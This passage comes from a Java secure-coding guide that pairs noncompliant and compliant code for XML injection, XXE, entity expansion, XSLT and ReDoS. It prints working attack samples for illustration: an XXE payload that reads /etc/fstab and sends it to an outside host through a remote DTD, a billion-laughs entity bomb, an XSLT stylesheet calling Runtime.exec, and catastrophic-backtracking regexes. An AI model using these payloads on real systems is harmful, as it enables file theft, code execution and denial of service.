1431e41f4b71Sopenharmony_ciThis compliant code example uses Dom4j, a well-defined, open-source XML tool library, to construct XML. Dom4j will encode the text data field in XML format to protect the original structure and format of the XML from damage.
1432e41f4b71Sopenharmony_ci
1433e41f4b71Sopenharmony_ciIn this example, if the attacker enters the following string as the user ID:
1434e41f4b71Sopenharmony_ci
1435e41f4b71Sopenharmony_ci```
1436e41f4b71Sopenharmony_ci"joe</id><role>Administrator</role><!--"
1437e41f4b71Sopenharmony_ci
1438e41f4b71Sopenharmony_ci```
1439e41f4b71Sopenharmony_ci
1440e41f4b71Sopenharmony_ciAnd enter the following string in the description field:
1441e41f4b71Sopenharmony_ci
1442e41f4b71Sopenharmony_ci```
1443e41f4b71Sopenharmony_ci"--><description>I want to be an administrator"
1444e41f4b71Sopenharmony_ci
1445e41f4b71Sopenharmony_ci```
1446e41f4b71Sopenharmony_ci
1447e41f4b71Sopenharmony_ciThe generated XML will take the following format:
1448e41f4b71Sopenharmony_ci
1449e41f4b71Sopenharmony_ci```xml
1450e41f4b71Sopenharmony_ci<user>
1451e41f4b71Sopenharmony_ci    <id>joe&lt;/id&gt;&lt;role&gt;Administrator&lt;/role&gt;&lt;!--</id>
1452e41f4b71Sopenharmony_ci    <role>operator</role>
1453e41f4b71Sopenharmony_ci    <description>--&gt;&lt;description&gt;I want to be an administrator</description>
1454e41f4b71Sopenharmony_ci</user>
1455e41f4b71Sopenharmony_ci```
1456e41f4b71Sopenharmony_ci
1457e41f4b71Sopenharmony_ciAs shown above, **\<** and **>** are replaced with **\&lt;** and **\&gt;** respectively after XML encoding. As a result, the attacker fails to escalate from an operator to an administrator.
1458e41f4b71Sopenharmony_ci
1459e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Encoding)
1460e41f4b71Sopenharmony_ci
1461e41f4b71Sopenharmony_ci```java
1462e41f4b71Sopenharmony_ciprivate void createXMLStream(BufferedOutputStream outStream, User user)
1463e41f4b71Sopenharmony_ci    throws IOException {
1464e41f4b71Sopenharmony_ci    ...
1465e41f4b71Sopenharmony_ci    String encodeUserId = XXXXEncoder.encodeForXML(user.getUserId());
1466e41f4b71Sopenharmony_ci    String encodeDec = XXXXEncoder.encodeForXML(user.getDescription());
1467e41f4b71Sopenharmony_ci
1468e41f4b71Sopenharmony_ci    String xmlString = "<user><id>" + encodeUserId
1469e41f4b71Sopenharmony_ci        + "</id><role>operator</role><description>" + encodeDec
1470e41f4b71Sopenharmony_ci        + "</description></user>";
1471e41f4b71Sopenharmony_ci    outStream.write(xmlString.getBytes(StandardCharsets.UTF_8));
1472e41f4b71Sopenharmony_ci    outStream.flush();
1473e41f4b71Sopenharmony_ci}
1474e41f4b71Sopenharmony_ci```
1475e41f4b71Sopenharmony_ci
1476e41f4b71Sopenharmony_ciIn this compliant code example, external data is encoded before the XML string is concatenated, to prevent tampering with the XML string structure.
1477e41f4b71Sopenharmony_ci
1478e41f4b71Sopenharmony_ci## Prevent XML External Entity (XXE) attacks caused by parsing external XML
1479e41f4b71Sopenharmony_ci
1480e41f4b71Sopenharmony_ci**\[Description]**
1481e41f4b71Sopenharmony_ci
1482e41f4b71Sopenharmony_ciXML entities include internal and external entities. An external entity takes the format of `<!ENTITY SYSTEM "URI"\>` or `<!ENTITY PUBLIC "public_ID" "URI"\>`. In Java, protocols that introduce external entities include HTTP, HTTPS, FTP, file, JAR, netdoc, and mailto. The XXE vulnerability occurs when an application parses external XML data or files without forbidding the loading of external entities, causing arbitrary file reading, intranet port scanning, intranet website attacks, DoS, and other attacks.
1483e41f4b71Sopenharmony_ci
1484e41f4b71Sopenharmony_ci1\. Use the external entity reference function to read arbitrary files:
1485e41f4b71Sopenharmony_ci
1486e41f4b71Sopenharmony_ci```xml
1487e41f4b71Sopenharmony_ci<?xml version="1.0" encoding="utf-8"?>
1488e41f4b71Sopenharmony_ci<!DOCTYPE updateProfile [
1489e41f4b71Sopenharmony_ci    <!ENTITY file SYSTEM "file:///c:/xxx/xxx.ini"> ]>
1490e41f4b71Sopenharmony_ci<updateProfile>
1491e41f4b71Sopenharmony_ci    <firstname>Joe</firstname>
1492e41f4b71Sopenharmony_ci    <lastname>&file;</lastname>
1493e41f4b71Sopenharmony_ci    ...
1494e41f4b71Sopenharmony_ci</updateProfile>
1495e41f4b71Sopenharmony_ci```
1496e41f4b71Sopenharmony_ci
1497e41f4b71Sopenharmony_ci2\. Use parameter entities and **\<CDATA\[]>** to avoid XML parsing syntax errors and the parsing of malicious entities.
1498e41f4b71Sopenharmony_ci
1499e41f4b71Sopenharmony_ciXML file: Construct the parameter entities **% start**, **% goodies**, **% end**, and **% dtd** to define a malicious **combine.dtd**.
1500e41f4b71Sopenharmony_ci
1501e41f4b71Sopenharmony_ci```xml
1502e41f4b71Sopenharmony_ci<?xml version="1.0" encoding="utf-8"?>
1503e41f4b71Sopenharmony_ci<!DOCTYPE roottag [
1504e41f4b71Sopenharmony_ci    <!ENTITY % start "<![CDATA[">
1505e41f4b71Sopenharmony_ci    <!ENTITY % goodies SYSTEM "file:///etc/fstab">
1506e41f4b71Sopenharmony_ci    <!ENTITY % end "]]>">
1507e41f4b71Sopenharmony_ci    <!ENTITY % dtd SYSTEM "http://evil.example.com/combine.dtd">
1508e41f4b71Sopenharmony_ci    %dtd;
1509e41f4b71Sopenharmony_ci    ]>
1510e41f4b71Sopenharmony_ci<roottag>&all;</roottag>
1511e41f4b71Sopenharmony_ci```
1512e41f4b71Sopenharmony_ci
1513e41f4b71Sopenharmony_ciDefine the **\&all** entity in the malicious DTD **combine.dtd**.
1514e41f4b71Sopenharmony_ci
1515e41f4b71Sopenharmony_ci```xml
1516e41f4b71Sopenharmony_ci<?xml version="1.0" encoding="UTF-8"?>
1517e41f4b71Sopenharmony_ci<!ENTITY all "%start;%goodies;%end;">
1518e41f4b71Sopenharmony_ci```
1519e41f4b71Sopenharmony_ci
1520e41f4b71Sopenharmony_ciAn ill-intentioned user can even construct a malicious **combine.dtd** to send the result to the destination address and finally obtain the **file:///etc/fstab** file.
1521e41f4b71Sopenharmony_ci
1522e41f4b71Sopenharmony_ci```xml
1523e41f4b71Sopenharmony_ci<?xml version="1.0" encoding="UTF-8"?>
1524e41f4b71Sopenharmony_ci<!ENTITY % send "<!ENTITY all SYSTEM 'http://mywebsite.com/?%gooddies;'>">
1525e41f4b71Sopenharmony_ci%send;
1526e41f4b71Sopenharmony_ci```
1527e41f4b71Sopenharmony_ci
1528e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
1529e41f4b71Sopenharmony_ci
1530e41f4b71Sopenharmony_ciIn this example, an external XML file is parsed. The parsing of DTDs or external entities is not disabled.
1531e41f4b71Sopenharmony_ci
1532e41f4b71Sopenharmony_ci```java
1533e41f4b71Sopenharmony_ciprivate void parseXmlFile(String filePath) {
1534e41f4b71Sopenharmony_ci    try {
1535e41f4b71Sopenharmony_ci        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
1536e41f4b71Sopenharmony_ci        DocumentBuilder db = dbf.newDocumentBuilder();
1537e41f4b71Sopenharmony_ci        Document doc = db.parse(new File(filePath));
1538e41f4b71Sopenharmony_ci        ... //Parse the XML file
1539e41f4b71Sopenharmony_ci    } catch (ParserConfigurationException ex) {
1540e41f4b71Sopenharmony_ci        //Handle the exception
1541e41f4b71Sopenharmony_ci    }
1542e41f4b71Sopenharmony_ci    ...
1543e41f4b71Sopenharmony_ci}
1544e41f4b71Sopenharmony_ci```
1545e41f4b71Sopenharmony_ci
1546e41f4b71Sopenharmony_ciThis noncompliant code example does not provide security protection for XML parsing. When the XML file is crafted by an attacker, the system is vulnerable to XXE attacks.
1547e41f4b71Sopenharmony_ci
1548e41f4b71Sopenharmony_ci**\[Complaint Code Example]** (Disabling DTD Parsing)
1549e41f4b71Sopenharmony_ci
1550e41f4b71Sopenharmony_ci```java
1551e41f4b71Sopenharmony_ciprivate void parserXmlFileDisableDtds(String filePath) {
1552e41f4b71Sopenharmony_ci    try {
1553e41f4b71Sopenharmony_ci        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
1554e41f4b71Sopenharmony_ci
1555e41f4b71Sopenharmony_ci        dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
1556e41f4b71Sopenharmony_ci        dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
1557e41f4b71Sopenharmony_ci        dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
1558e41f4b71Sopenharmony_ci        DocumentBuilder db = dbf.newDocumentBuilder();
1559e41f4b71Sopenharmony_ci        Document doc = db.parse(new File(filePath));
1560e41f4b71Sopenharmony_ci        ... //Parse the XML file
1561e41f4b71Sopenharmony_ci    } catch (ParserConfigurationException ex) {
1562e41f4b71Sopenharmony_ci        //Handle the exception
1563e41f4b71Sopenharmony_ci    }
1564e41f4b71Sopenharmony_ci    ...
1565e41f4b71Sopenharmony_ci}
1566e41f4b71Sopenharmony_ci```
1567e41f4b71Sopenharmony_ci
1568e41f4b71Sopenharmony_ciThe compliant code example disables the parsing of DTDs, which can prevent both XXE and internal entity attacks.
1569e41f4b71Sopenharmony_ci
1570e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Disabling the Parsing of External General Entities and Parameter Entities)
1571e41f4b71Sopenharmony_ci
1572e41f4b71Sopenharmony_ciThis compliant code example can prevent XXE attacks but not XML internal entity attacks.
1573e41f4b71Sopenharmony_ci
1574e41f4b71Sopenharmony_ci```java
1575e41f4b71Sopenharmony_ciprivate void parserXmlFileDisableExternalEntityes(String filePath) {
1576e41f4b71Sopenharmony_ci    try {
1577e41f4b71Sopenharmony_ci        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
1578e41f4b71Sopenharmony_ci        dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", false);
1579e41f4b71Sopenharmony_ci        dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
1580e41f4b71Sopenharmony_ci        dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
1581e41f4b71Sopenharmony_ci        DocumentBuilder db = dbf.newDocumentBuilder();
1582e41f4b71Sopenharmony_ci        Document doc = db.parse(new File(filePath));
1583e41f4b71Sopenharmony_ci        ... //Parse the XML file
1584e41f4b71Sopenharmony_ci    } catch (ParserConfigurationException ex) {
1585e41f4b71Sopenharmony_ci        //Handle the exception
1586e41f4b71Sopenharmony_ci    }
1587e41f4b71Sopenharmony_ci    ...
1588e41f4b71Sopenharmony_ci}
1589e41f4b71Sopenharmony_ci```
1590e41f4b71Sopenharmony_ci
1591e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Trustlist Validation on External Entities)
1592e41f4b71Sopenharmony_ci
1593e41f4b71Sopenharmony_ciThe compliant code example defines a **CustomResolver** class to implement interface `org.xml.sax.EntityResolver`. A customized mechanism for processing external entities is implemented in this class. The customized entity parsing method uses a simple trustlist for validation. If a match is found in the trustlist, the corresponding file content is returned; if no match is found, the returned result is empty.
1594e41f4b71Sopenharmony_ci
1595e41f4b71Sopenharmony_ci```java
1596e41f4b71Sopenharmony_ciprivate static void parserXmlFileValidateEntities(String filePath) {
1597e41f4b71Sopenharmony_ci    try {
1598e41f4b71Sopenharmony_ci        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
1599e41f4b71Sopenharmony_ci        DocumentBuilder db = dbf.newDocumentBuilder();
1600e41f4b71Sopenharmony_ci        db.setEntityResolver(new ValidateEntityResolver());
1601e41f4b71Sopenharmony_ci        Document doc = db.parse(new File(filePath));
1602e41f4b71Sopenharmony_ci        ... //Parse the XML file
1603e41f4b71Sopenharmony_ci    } catch (ParserConfigurationException ex) {
1604e41f4b71Sopenharmony_ci        //Handle the exception
1605e41f4b71Sopenharmony_ci    }
1606e41f4b71Sopenharmony_ci    ...
1607e41f4b71Sopenharmony_ci}
1608e41f4b71Sopenharmony_ci
1609e41f4b71Sopenharmony_ciclass ValidateEntityResolver implements EntityResolver {
1610e41f4b71Sopenharmony_ci    private static final String GOOD_ENTITY = "file:/Users/onlinestore/good.xml";
1611e41f4b71Sopenharmony_ci
1612e41f4b71Sopenharmony_ci    public InputSource resolveEntity(String publicId, String systemId)
1613e41f4b71Sopenharmony_ci        throws SAXException, IOException {
1614e41f4b71Sopenharmony_ci        if (publicId != null && publicId.equals(GOOD_ENTITY)) {
1615e41f4b71Sopenharmony_ci            return new InputSource(publicId);
1616e41f4b71Sopenharmony_ci        } else if (systemId != null && systemId.equals(GOOD_ENTITY)) {
1617e41f4b71Sopenharmony_ci            return new InputSource(systemId);
1618e41f4b71Sopenharmony_ci        } else {
1619e41f4b71Sopenharmony_ci            return new InputSource();
1620e41f4b71Sopenharmony_ci        }
1621e41f4b71Sopenharmony_ci    }
1622e41f4b71Sopenharmony_ci}
1623e41f4b71Sopenharmony_ci```
1624e41f4b71Sopenharmony_ci
1625e41f4b71Sopenharmony_ciIf external entities must be used in XML operations in the system, the external entities must be validated against the trustlist. As shown in the above example, a `ValidateEntityResolver` class is customized (with implementation interface `org.xml.sax.EntityResolver`) to validate XXEs using the `resolveEntity` method. XXEs not in the trustlist are not parsed.
1626e41f4b71Sopenharmony_ci
1627e41f4b71Sopenharmony_ciRemarks: The XML parser used above is only an example. When a program loads external XML data, you can disable the parsing of external entities by setting attributes or other methods that take effect on the parser, and construct malicious XML content as shown in the above example to check the program response, so as to determine whether the set attributes take effect.
1628e41f4b71Sopenharmony_ci
1629e41f4b71Sopenharmony_ci## Prevent XML Entity Expansion (XEE) attacks caused by parsing external XML
1630e41f4b71Sopenharmony_ci
1631e41f4b71Sopenharmony_ci**\[Description]**
1632e41f4b71Sopenharmony_ci
1633e41f4b71Sopenharmony_ciThe content of XML internal entities has been declared in Doctype. An internal entity takes the format of or `<!ENTITY "ENTITY VALUE"\>`. XEE attack is a common internal entity attack. It mainly attempts to consume the server memory resources of the target program to cause DoS attacks. XXE and XEE attacks have different protection measures (disabling DTD parsing can prevent both).
1634e41f4b71Sopenharmony_ci
1635e41f4b71Sopenharmony_ciParsing the malicious internal entity in the following example occupies many server memory resources, causing DoS attacks.
1636e41f4b71Sopenharmony_ci
1637e41f4b71Sopenharmony_ci```xml
1638e41f4b71Sopenharmony_ci<?xml version="1.0"?>
1639e41f4b71Sopenharmony_ci<!DOCTYPE lolz [
1640e41f4b71Sopenharmony_ci    <!ENTITY lol "lol">
1641e41f4b71Sopenharmony_ci    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
1642e41f4b71Sopenharmony_ci    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
1643e41f4b71Sopenharmony_ci    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
1644e41f4b71Sopenharmony_ci    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
1645e41f4b71Sopenharmony_ci    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
1646e41f4b71Sopenharmony_ci    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
1647e41f4b71Sopenharmony_ci    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
1648e41f4b71Sopenharmony_ci    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
1649e41f4b71Sopenharmony_ci    ]>
1650e41f4b71Sopenharmony_ci<lolz>&lol9;</lolz>
1651e41f4b71Sopenharmony_ci```
1652e41f4b71Sopenharmony_ci
1653e41f4b71Sopenharmony_ci**Disabling DTD parsing is the best method to protect** against XEE attacks. You can also limit the number of internal entities to reduce the possibility of XEE attacks. If internal entities are not required, disable DTD parsing. If internal entities are required, strictly limit the number of internal entities and the size of XML content.
1654e41f4b71Sopenharmony_ci
1655e41f4b71Sopenharmony_ci**\[Complaint Code Example]** (Disabling DTD Parsing)
1656e41f4b71Sopenharmony_ci
1657e41f4b71Sopenharmony_ci```java
1658e41f4b71Sopenharmony_cipublic void receiveXMLStream(InputStream inStream)
1659e41f4b71Sopenharmony_ci    throws ParserConfigurationException, SAXException, IOException {
1660e41f4b71Sopenharmony_ci    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
1661e41f4b71Sopenharmony_ci    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
1662e41f4b71Sopenharmony_ci    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
1663e41f4b71Sopenharmony_ci    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
1664e41f4b71Sopenharmony_ci    DocumentBuilder db = dbf.newDocumentBuilder();
1665e41f4b71Sopenharmony_ci    db.parse(inStream);
1666e41f4b71Sopenharmony_ci}
1667e41f4b71Sopenharmony_ci```
1668e41f4b71Sopenharmony_ci
1669e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Limiting the Number of Internal Entities to Be Parsed)
1670e41f4b71Sopenharmony_ci
1671e41f4b71Sopenharmony_ciThe default maximum number of entities to be parsed by the JAXP parser in Java is 64,000, while fewer entities need to be parsed by the JAXP parser in fact. Therefore, we can set a smaller number. The following code example limits the number of entities to be parsed by setting the attributes of the DOM parser.
1672e41f4b71Sopenharmony_ci
1673e41f4b71Sopenharmony_ci```java
1674e41f4b71Sopenharmony_cipublic void receiveXMLStream(InputStream inStream)
1675e41f4b71Sopenharmony_ci    throws ParserConfigurationException, SAXException, IOException {
1676e41f4b71Sopenharmony_ci    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
1677e41f4b71Sopenharmony_ci    dbf.setAttribute("http://www.oracle.com/xml/jaxp/properties/entityExpansionLimit",
1678e41f4b71Sopenharmony_ci        "200");
1679e41f4b71Sopenharmony_ci    DocumentBuilder db = dbf.newDocumentBuilder();
1680e41f4b71Sopenharmony_ci    db.parse(inStream);
1681e41f4b71Sopenharmony_ci}
1682e41f4b71Sopenharmony_ci```
1683e41f4b71Sopenharmony_ci
1684e41f4b71Sopenharmony_ciRemarks: The **http://www.oracle.com/xml/jaxp/properties/entityExpansionLimit** attribute is supported in JDK 7u45+ and JDK 8. The SAX and StAX parsers in JAXP do not support this attribute.
1685e41f4b71Sopenharmony_ci
1686e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Limiting the Number of Internal Entities to Be Parsed)
1687e41f4b71Sopenharmony_ci
1688e41f4b71Sopenharmony_ciThe following code example limits the number of entities to be parsed by setting system attributes.
1689e41f4b71Sopenharmony_ci
1690e41f4b71Sopenharmony_ci```java
1691e41f4b71Sopenharmony_cipublic void receiveXMLStream(InputStream inStream)
1692e41f4b71Sopenharmony_ci    throws ParserConfigurationException, SAXException, IOException {
1693e41f4b71Sopenharmony_ci
1694e41f4b71Sopenharmony_ci    //Use system attributes to limit the number of entities
1695e41f4b71Sopenharmony_ci    System.setProperty("entityExpansionLimit", "200");
1696e41f4b71Sopenharmony_ci    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
1697e41f4b71Sopenharmony_ci    DocumentBuilder db = dbf.newDocumentBuilder();
1698e41f4b71Sopenharmony_ci    db.parse(inStream);
1699e41f4b71Sopenharmony_ci}
1700e41f4b71Sopenharmony_ci```
1701e41f4b71Sopenharmony_ci
1702e41f4b71Sopenharmony_ciRemarks: The **entityExpansionLimit** attribute is supported in JDK 7u45+ and JDK 8. This method is effective in both SAX and StAX parsers in JAXP.
1703e41f4b71Sopenharmony_ci
1704e41f4b71Sopenharmony_ciSome products use the DOM, SAX, and StAX parsers provided by the Xerces third-party JAR package, where you can set `setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true)` to limit the number of entities to be no more than 100,000.
1705e41f4b71Sopenharmony_ci
1706e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Limiting the Number of Internal Entities to Be Parsed)
1707e41f4b71Sopenharmony_ci
1708e41f4b71Sopenharmony_ciThis compliant code example limits the number of parsed entities in the Xerces package.
1709e41f4b71Sopenharmony_ci
1710e41f4b71Sopenharmony_ci```java
1711e41f4b71Sopenharmony_ciprivate static void receiveXMLStream(InputStream inStream)
1712e41f4b71Sopenharmony_ci    throws ParserConfigurationException, SAXException, IOException {
1713e41f4b71Sopenharmony_ci    DocumentBuilderFactory factory = DocumentBuilderFactoryImpl.newInstance();
1714e41f4b71Sopenharmony_ci    factory.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
1715e41f4b71Sopenharmony_ci    DocumentBuilder db = factory.newDocumentBuilder();
1716e41f4b71Sopenharmony_ci    org.w3c.dom.Document doc = db.parse(inStream);
1717e41f4b71Sopenharmony_ci    doc.getChildNodes();
1718e41f4b71Sopenharmony_ci}
1719e41f4b71Sopenharmony_ci```
1720e41f4b71Sopenharmony_ci
1721e41f4b71Sopenharmony_ciRemarks: The XML parser used above is only an example. When a program loads external XML data, you can disable the parsing of internal entities by setting attributes or other methods that take effect on the parser, and construct malicious XML content as shown in the above example to check the program response, so as to determine whether the set attributes take effect.
1722e41f4b71Sopenharmony_ci
1723e41f4b71Sopenharmony_ci## Do not use insecure XSLT to convert XML files
1724e41f4b71Sopenharmony_ci
1725e41f4b71Sopenharmony_ci**\[Description]**
1726e41f4b71Sopenharmony_ci
1727e41f4b71Sopenharmony_ciExtensible stylesheet language transformation (XSLT) can convert XML data into other XML format or other formats such as HTML and pure text. XSLT can be exploited to execute arbitrary code. Therefore, when **TransformerFactory** is used to convert XML data, security policies need to be added to prevent insecure XSLT code execution.
1728e41f4b71Sopenharmony_ci
1729e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
1730e41f4b71Sopenharmony_ci
1731e41f4b71Sopenharmony_ci```java
1732e41f4b71Sopenharmony_cipublic void XsltTrans(String src, String dst, String xslt) {
1733e41f4b71Sopenharmony_ci    //Obtain the transformer factory
1734e41f4b71Sopenharmony_ci    TransformerFactory tf = TransformerFactory.newInstance();
1735e41f4b71Sopenharmony_ci    try {
1736e41f4b71Sopenharmony_ci        //Obtain the transformer object instance
1737e41f4b71Sopenharmony_ci        Transformer transformer = tf.newTransformer(new StreamSource(xslt));
1738e41f4b71Sopenharmony_ci
1739e41f4b71Sopenharmony_ci        //Carry out transformation
1740e41f4b71Sopenharmony_ci        transformer.transform(new StreamSource(src),
1741e41f4b71Sopenharmony_ci            new StreamResult(new FileOutputStream(dst)));
1742e41f4b71Sopenharmony_ci        ...
1743e41f4b71Sopenharmony_ci    } catch (TransformerException ex) {
1744e41f4b71Sopenharmony_ci        //Handle the exception
1745e41f4b71Sopenharmony_ci    }
1746e41f4b71Sopenharmony_ci    ...
1747e41f4b71Sopenharmony_ci}
1748e41f4b71Sopenharmony_ci```
1749e41f4b71Sopenharmony_ci
1750e41f4b71Sopenharmony_ciIn this example, XSLT is not restricted and is called directly. When XSLT code resembling the following is executed, command execution vulnerabilities may occur:
1751e41f4b71Sopenharmony_ci
1752e41f4b71Sopenharmony_ci```xml
1753e41f4b71Sopenharmony_ci<?xml version="1.0" encoding="UTF-8" ?>
1754e41f4b71Sopenharmony_ci<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="java">
1755e41f4b71Sopenharmony_ci    <xsl:template match="/" xmlns:os="java:lang.Runtime" >
1756e41f4b71Sopenharmony_ci        <xsl:variable name="runtime" select="java:lang.Runtime.getRuntime()"/>
1757e41f4b71Sopenharmony_ci        <xsl:value-of select="os:exec($runtime, 'calc')" />
1758e41f4b71Sopenharmony_ci    </xsl:template>
1759e41f4b71Sopenharmony_ci</xsl:stylesheet>
1760e41f4b71Sopenharmony_ci```
1761e41f4b71Sopenharmony_ci
1762e41f4b71Sopenharmony_ci**\[Compliant Code Example]**
1763e41f4b71Sopenharmony_ci
1764e41f4b71Sopenharmony_ci```java
1765e41f4b71Sopenharmony_cipublic void xsltTrans(String src, String dst, String xslt) {
1766e41f4b71Sopenharmony_ci    //Obtain the transformer factory
1767e41f4b71Sopenharmony_ci    TransformerFactory tf = TransformerFactory.newInstance();
1768e41f4b71Sopenharmony_ci    try {
1769e41f4b71Sopenharmony_ci        //Set a blocklist for the transformer factory to prohibit some insecure methods, which is similar to XXE protection
1770e41f4b71Sopenharmony_ci        tf.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
1771e41f4b71Sopenharmony_ci
1772e41f4b71Sopenharmony_ci        //Obtain the transformer object instance
1773e41f4b71Sopenharmony_ci        Transformer transformer = tf.newTransformer(new StreamSource(xslt));
1774e41f4b71Sopenharmony_ci
1775e41f4b71Sopenharmony_ci        //Remove <?xml version="1.0" encoding="UTF-8"?>
1776e41f4b71Sopenharmony_ci        transformer.setOutputProperty("omit-xml-declaration", "yes");
1777e41f4b71Sopenharmony_ci
1778e41f4b71Sopenharmony_ci        //Carry out transformation
1779e41f4b71Sopenharmony_ci        transformer.transform(new StreamSource(src),
1780e41f4b71Sopenharmony_ci            new StreamResult(new FileOutputStream(dst)));
1781e41f4b71Sopenharmony_ci        ...
1782e41f4b71Sopenharmony_ci    } catch (TransformerException ex) {
1783e41f4b71Sopenharmony_ci        //Handle the exception
1784e41f4b71Sopenharmony_ci    }
1785e41f4b71Sopenharmony_ci    ...
1786e41f4b71Sopenharmony_ci}
1787e41f4b71Sopenharmony_ci```
1788e41f4b71Sopenharmony_ci
1789e41f4b71Sopenharmony_ciA security policy can be added to **TransformerFactory**. Java has a built-in blocklist for XSLT. Here some insecure methods are disabled by setting **http://javax.xml.XMLConstants/feature/secure-processing** to **true**.
1790e41f4b71Sopenharmony_ci
1791e41f4b71Sopenharmony_ci## Try best to simplify the regular expression (regex) to prevent regular expression denial of service (ReDoS) attacks
1792e41f4b71Sopenharmony_ci
1793e41f4b71Sopenharmony_ci**\[Description]**
1794e41f4b71Sopenharmony_ci
1795e41f4b71Sopenharmony_ciReDoS attacks are common security risks caused by inappropriate regexes. The NFA engine is used for regex matching in Java. Due to the backtracking mechanism of the NFA engine, the time consumed when a regex is not matched is longer than the time consumed when the regex is matched. That's because the regex needs to be matched against all possible paths before a mismatch is determined and a failure is returned. ReDoS attacks rarely occur when a simple regex without groups is used. The following types of regexes are vulnerable to ReDoS attacks:
1796e41f4b71Sopenharmony_ci
1797e41f4b71Sopenharmony_ci1\. Regexes containing self-repeating groups, for example: 
1798e41f4b71Sopenharmony_ci
1799e41f4b71Sopenharmony_ci`^(\d+)+$`
1800e41f4b71Sopenharmony_ci
1801e41f4b71Sopenharmony_ci `^(\d*)*$`
1802e41f4b71Sopenharmony_ci
1803e41f4b71Sopenharmony_ci `^(\d+)*$`
1804e41f4b71Sopenharmony_ci
1805e41f4b71Sopenharmony_ci `^(\d+|\s+)*$`
1806e41f4b71Sopenharmony_ci
1807e41f4b71Sopenharmony_ci2\. Regexes containing repetitive groups with replacement, for example:
1808e41f4b71Sopenharmony_ci
1809e41f4b71Sopenharmony_ci`^(\d|\d|\d)+$` 
1810e41f4b71Sopenharmony_ci
1811e41f4b71Sopenharmony_ci`^(\d|\d?)+$`
1812e41f4b71Sopenharmony_ci
1813e41f4b71Sopenharmony_ciMeasures for defending against ReDoS attacks are as follows:
1814e41f4b71Sopenharmony_ci
1815e41f4b71Sopenharmony_ci- Check the text length before regex matching.
1816e41f4b71Sopenharmony_ci- Avoid using complex regexes and minimize groups. Take `^(([a-z])+\.)+[A-Z]([a-z])+$` (which has the ReDoS risk) as an example. You can delete the redundant group `^([a-z]+\.)+[A-Z][a-z]+$` without altering the check rule, eliminating the ReDoS risk.
1817e41f4b71Sopenharmony_ci- Do not dynamically construct regexes. Implement strict trustlist validation when using external data to construct regexes.
1818e41f4b71Sopenharmony_ci
1819e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
1820e41f4b71Sopenharmony_ci
1821e41f4b71Sopenharmony_ci```java
1822e41f4b71Sopenharmony_ciprivate static final Pattern REGEX_PATTER = Pattern.compile("a(b|c+)+d");
1823e41f4b71Sopenharmony_ci
1824e41f4b71Sopenharmony_cipublic static void main(String[] args) {
1825e41f4b71Sopenharmony_ci    ...
1826e41f4b71Sopenharmony_ci    Matcher matcher = REGEX_PATTER.matcher(args[0]);
1827e41f4b71Sopenharmony_ci    if (matcher.matches()) {
1828e41f4b71Sopenharmony_ci        ...
1829e41f4b71Sopenharmony_ci    } else {
1830e41f4b71Sopenharmony_ci        ...
1831e41f4b71Sopenharmony_ci    }
1832e41f4b71Sopenharmony_ci    ...
1833e41f4b71Sopenharmony_ci}
1834e41f4b71Sopenharmony_ci```
1835e41f4b71Sopenharmony_ci
1836e41f4b71Sopenharmony_ciThis noncompliant code example uses the `a(b|c+)+d` regex which has the ReDoS risk. When the matched string resembles **accccccccccccccccx**, the code execution time sees exponential growth with the increase in the number of **c** characters.
1837e41f4b71Sopenharmony_ci
1838e41f4b71Sopenharmony_ci**\[Compliant Code Example]**
1839e41f4b71Sopenharmony_ci
1840e41f4b71Sopenharmony_ci```java
1841e41f4b71Sopenharmony_ciprivate static final Pattern REGEX_PATTER = Pattern.compile("a[bc]+d");
1842e41f4b71Sopenharmony_ci
1843e41f4b71Sopenharmony_cipublic static void main(String[] args) {
1844e41f4b71Sopenharmony_ci    ...
1845e41f4b71Sopenharmony_ci    Matcher matcher = REGEX_PATTER.matcher(args[0]);
1846e41f4b71Sopenharmony_ci    if (matcher.matches()) {
1847e41f4b71Sopenharmony_ci        ...
1848e41f4b71Sopenharmony_ci    } else {
1849e41f4b71Sopenharmony_ci        ...
